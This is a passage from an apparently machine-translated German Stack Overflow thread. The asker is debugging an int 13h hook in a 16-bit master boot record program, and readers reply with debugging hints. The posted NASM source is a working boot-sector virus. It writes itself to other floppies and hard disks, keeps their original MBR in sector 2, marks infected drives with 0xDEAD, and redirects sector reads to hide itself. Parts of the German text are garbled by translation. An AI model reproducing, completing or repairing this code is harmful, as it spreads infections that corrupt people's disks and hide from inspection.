Ich schreibe einen int 13h Haken in MBR (16 Bit). Ich speichere alten int-Vektor als:MOV absolute Adressierung nach dem Verschieben
mov ax, word [0x13*4]
mov bx, word [0x13*4+2]
mov [oldint13-cpy_original+0x7e00], ax
mov [oldint13-cpy_original+0x7e00+2], bx
Weil ich Code in Laufzeit verlegt, hatte ich richtige Stelle von oldint13 Variable zu berechnen. Alles klar und schön, wenn ich die Position der verschobenen Variablen altint13 überprüfe, gibt es die richtige Adresse (0xf000e3f3). Jetzt, nachdem ich int 13h Haken, möchte ich als Original-int 13h-Handler aufzurufen:
call [oldint13-cpy_original+0x7e00]
aber es springt 0. Adresse Wenn ich Checkup tun mit:
mov ax, [oldint13-cpy_original+0x7e00]
Axt wird 0. (oldint13 -cpy_original + 0x7e00) löst die korrekte Adresse korrekt auf und diese Adresse enthält immer noch den korrekten ursprünglichen int 13h-Vektor. Auch zerlegter Code zeigt:
mov ax, [0x7e48]
was korrekt ist.
Warum in aller Welt gibt es 0 zurück? Gibt es einen Haken mit 16 Bits oder etwas?
Eine vollständige Kopie meines Urladercodes ist wie folgt:
[bits 16]
org 0x7c00
start:
cli ; no interrupt zone
mov BYTE [bootDrive], dl ; save boot drive, this is infected drive
mov sp, 0xFFF8 ; stack pointer
xor ax, ax
mov ds, ax
mov es, ax
; let's save infected mbr to location 0x7e00
mov al, 0x01 ; load 1 sector
mov ah, 0x02 ; read sector
mov bx, 0x7e00 ; destination address + ES
mov cx, 0x0001 ; cylinder 0, sector=1
xor dh, dh ; head 0
call wr_sector
; TODO: read from 0x7c00!!!!
; now it's time to iterate through disks
xor di, di ; our disk counter
dsk_lp:
mov dl, [disk_codes+di] ; load disk code from our table
cmp dl, [bootDrive] ; check if this is our infected drive
je nxt_disk ; this is our drive, just go to the next one
mov ah, 0x02 ; read sector
mov cx, 0x0001 ; cylinder 0, sector=1
mov bx, 0x8000 ; load original mbr to 0x8000
call wr_sector
jc nxt_disk ; if carry is set, disk doesn't exist (most likely)
add bx, sig ; check if this drive is already signed
sub bx, 0x7c00 ; calculated offset for signature
cmp word [bx], 0xDEAD ; compare with our signature 0xDEAD
je nxt_disk ; if already signed, jump to next disk
mov ah, 0x03 ; dirty business, copy our infected mbr to new drive
mov bx, 0x7e00 ; we copied infected mbr to 0x7e00 earlier
call wr_sector ; perform write
mov ah, 0x03
mov cx, 0x0002 ; write original mbr to 2nd sector
mov bx, 0x8000 ; we saved sector to 0x8000
call wr_sector ; perform write
nxt_disk:
inc di ; increment our counter
cmp di, 0x04 ; we are over the available disks
jl dsk_lp ; jump if lower than 4
; now we'll copy back original MBR and jump to it
; we have to relocate ourselves to 0x7e00, so we don't overwrite when copying
; original MBR
relocate:
mov dl, [bootDrive] ; retrieve current boot drive
mov si, cpy_original ; source address
mov di, 0x7e00 ; destination address, 0x7e00 in our case
mov cx, end_cpy ; load end of code address
sub cx, cpy_original ; subtract start of code, cx = code length
rep movsb ; copy stuff from source to dest address
jmp 0x7e00 ; jump to new address
; this code resides on 0x7e00 after copying
cpy_original: ; this code will copy original MBR to 0x7c00
mov ah, 0x02 ; read sector, ah = 0x02
mov cx, 0x0002 ; read 2nd sector
mov bx, 0x7c00 ; dest address
call wr_sector ; copy orignal MBR
; before we jump into org mbr, let's hook int 13h
mov ax, word [0x13*4]
mov bx, word [0x13*4+2]
mov [oldint13-cpy_original+0x7e00], ax
mov [oldint13-cpy_original+0x7e00+2], bx
mov ax, dsk_hook
sub ax, cpy_original
add ax, 0x7e00
mov word [0x13*4], ax
mov word [0x13*4+2], 0
;mov ah, 0x02
;mov al, 0x01
;mov cx, 0x0001
;mov bx, 0x8000
;call wr_sector
mov ax, 0xaa55
jmp 0x0:0x7c00 ; far jump to the original MBR
dsk_hook:
nop
pushf
cmp ah, 0x02
jne .end_hook
cmp cx, 0x0001
jne .end_hook
mov cx, 0x0002
.end_hook:
popf
;mov ax, [cs:oldint13-cpy_original+0x7e00]
call [cs:oldint13-cpy_original+0x7e00]
;call 0xe3fe
nop
;mov ax, ax
ret
oldint13:
dd 45 ; var for saving int13 address
; write/read sector on disk, based on
; ah = 0x02 read, ah = 0x03 write
; dl = disk number
wr_sector:
mov si, 0x03 ; max number of attempts to read from drive
.lprs:
int 0x13
jnc .endrs ; alright carry was not set, read was successful
dec si ; decrement counter
jc .endrs
pusha
xor ah, ah ; ah = 0, reset disk
int 0x13 ; reset disk, we have to try this at most 3 times
popa
jmp .lprs
.endrs:
retn
end_cpy: ; end of code for copying original MBR
times (218 - ($-$$)) nop ; Pad for disk time stamp
DiskTimeStamp times 8 db 0 ; Disk Time Stamp
bootDrive db 0 ; Our Drive Number Variable
disk_codes: ; available drives variable
db 0x0 ; first floppy disk
db 0x1 ; second floppy disk
db 0x80 ; first hard disk
db 0x81 ; second hard disk
sig dw 0xDEAD
times (0x1b4 - ($-$$)) nop ; Pad For MBR Partition Table
UID times 10 db 0 ; Unique Disk ID
PT1 times 16 db 0 ; First Partition Entry
PT2 times 16 db 0 ; Second Partition Entry
PT3 times 16 db 0 ; Third Partition Entry
PT4 times 16 db 0 ; Fourth Partition Entry
dw 0xAA55 ; Boot Signature
Ich gehe davon aus durch die Verlagerung Sie meinen, dass Sie die 512 Bytes von 0x7c00 0x7e00 kopiert? Was ist 'cpy_original'? Es würde helfen, wenn Sie nur Ihren gesamten Bootloader zur Verfügung gestellt hätten (kann mir nicht vorstellen, dass es so groß ist). Zum Thema Umzug eines Bootloaders könnte man viele Kopfschmerzen vermeiden, indem man dieser Idee [http://stackoverflow.com/a/37379429/3857942] zu einer anderen SO-Frage folgt (bezüglich MBR-Umzug). Diese Methode würde vermeiden, die Anpassungen für variable Offsets vorzunehmen. Ich habe 2 Antworten gegeben. Der mit ORG 0x0000 ist am einfachsten zu betrachten. –
Eine Sorge, die ich über Ihren Aufruf an den alten Interrupt-Vektor habe, ist, dass 'call [oldint13-cpy_original + 0x7e00]' tatsächlich 'call [DS: oldint13-cpy_original + 0x7e00]' ist. Ist _DS_ in Ihrem Interrupt-Handler korrekt? Was passiert, wenn Sie es mit 'CS:' überfahren? Ich vermute, dass Ihr _DS_ Segment im Interrupt-Handler nicht 0x0000 ist und wenn es etwas anderes ist - Sie werden die Adresse lesen, von der aus von dem falschen Speicherort zu springen. –
Zeigen Sie Ihren vollständigen Code. Ansonsten raten wir nur, was das Problem ist. –